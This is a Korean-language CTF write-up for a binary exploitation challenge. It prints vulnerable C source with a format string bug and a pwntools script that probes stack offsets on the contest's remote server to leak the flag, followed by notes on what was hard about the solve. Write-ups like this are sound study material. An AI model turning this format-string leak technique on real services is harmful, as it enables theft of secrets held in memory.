반응형
문제 소스
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct Secrets {
char secret1[50];
char password[50];
char birthday[50];
char ssn[50];
char flag[128];
} Secrets;
int vuln(){
char name[7];
Secrets boshsecrets = {
.secret1 = "CTFs are fun!",
.password= "password123",
.birthday = "1/1/1970",
.ssn = "123-456-7890",
};
FILE *f = fopen("flag.txt","r");
if (!f) {
printf("Missing flag.txt. Contact an admin if you see this on remote.");
exit(1);
}
fgets(&(boshsecrets.flag), 128, f);
puts("Name: ");
fgets(name, 6, stdin);
printf("Welcome, ");
printf(name);
printf("\n");
return 0;
}
int main(){
setbuf(stdout, NULL);
setbuf(stderr, NULL);
vuln();
return 0;
}
보호기법
페이로드
- 포멧 스트링 버그 이용해서 푸는 문제이다.
- name buffer까지 오프셋을 구해야한다. 그러나 입력값이 적어서 버퍼 위치를 확인하기가 어렵다
- %숫자$p로 스택에 들어있는 값들을 확인해봐야 한다.
from pwn import *
context.log_level='critical'
dns,port="shell.actf.co",21820
result=""
for i in range(33,43):
try:
p=remote(dns,port)
#p=process("./stickystacks")
p.sendlineafter("Name: \n","%{}$p".format(i))
p.recvuntil("Welcome, ")
str_=p.recvline()
print str_
'''
for i in range(8):
parse="0x"
parse+=str_[-3-2*i:-1-2*i]
result+=("%c"%int(parse,16))
'''
print p64(int(str_,16))
p.close()
except EOFError:
pass
print result
33번째번째위치에서번째위치에서리모트로 스택의 값들을 확인해보면 ctf플래그 추정되는 아스키코드로 이루어진 16진수가 33번째 오프셋부터 나온다.
힘들었던 부분
- 아이다 분석결과와 gdb분석 결과(rbp로부터 변수들 오프셋)가 달랐다.
--> gdb로 분석 진행했다. - 포멧스트링 버그가 이렇게 %s로 flag라고 할만한 것이 나오지 않아서 플래그 값에 해당하는
아스키코드를 의심해봤어야한다. - 반복문을 돌려서 리모트를 진행할 수 있다는 것을 몰랐다.
--> 파이썬 예외처리문 어떻게 하는지 학습함. - pico CTF echooo 문제에서 조금 더 어렵게 변형한 것 같았다.
tcode2k16.github.io/blog/posts/picoctf-2018-writeup/binary-exploitation/#echooo
PicoCTF 2018 Writeup: Binary Exploitation · Alan's Blog
buffer overflow 0 Problem Let’s start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source. Solution Let’s firs
tcode2k16.github.io
반응형
'War Games > ctf-review' 카테고리의 다른 글
[dctf 2021] Formats last theorem (0) | 2021.05.19 |
---|---|
[OMH CTF2021] Framed (0) | 2021.05.17 |
[dctf2021] baby_bof (0) | 2021.05.17 |
[pwnpwn] ezpwn (0) | 2021.05.17 |
[shakti CTF2021] signal dROPer (0) | 2021.04.12 |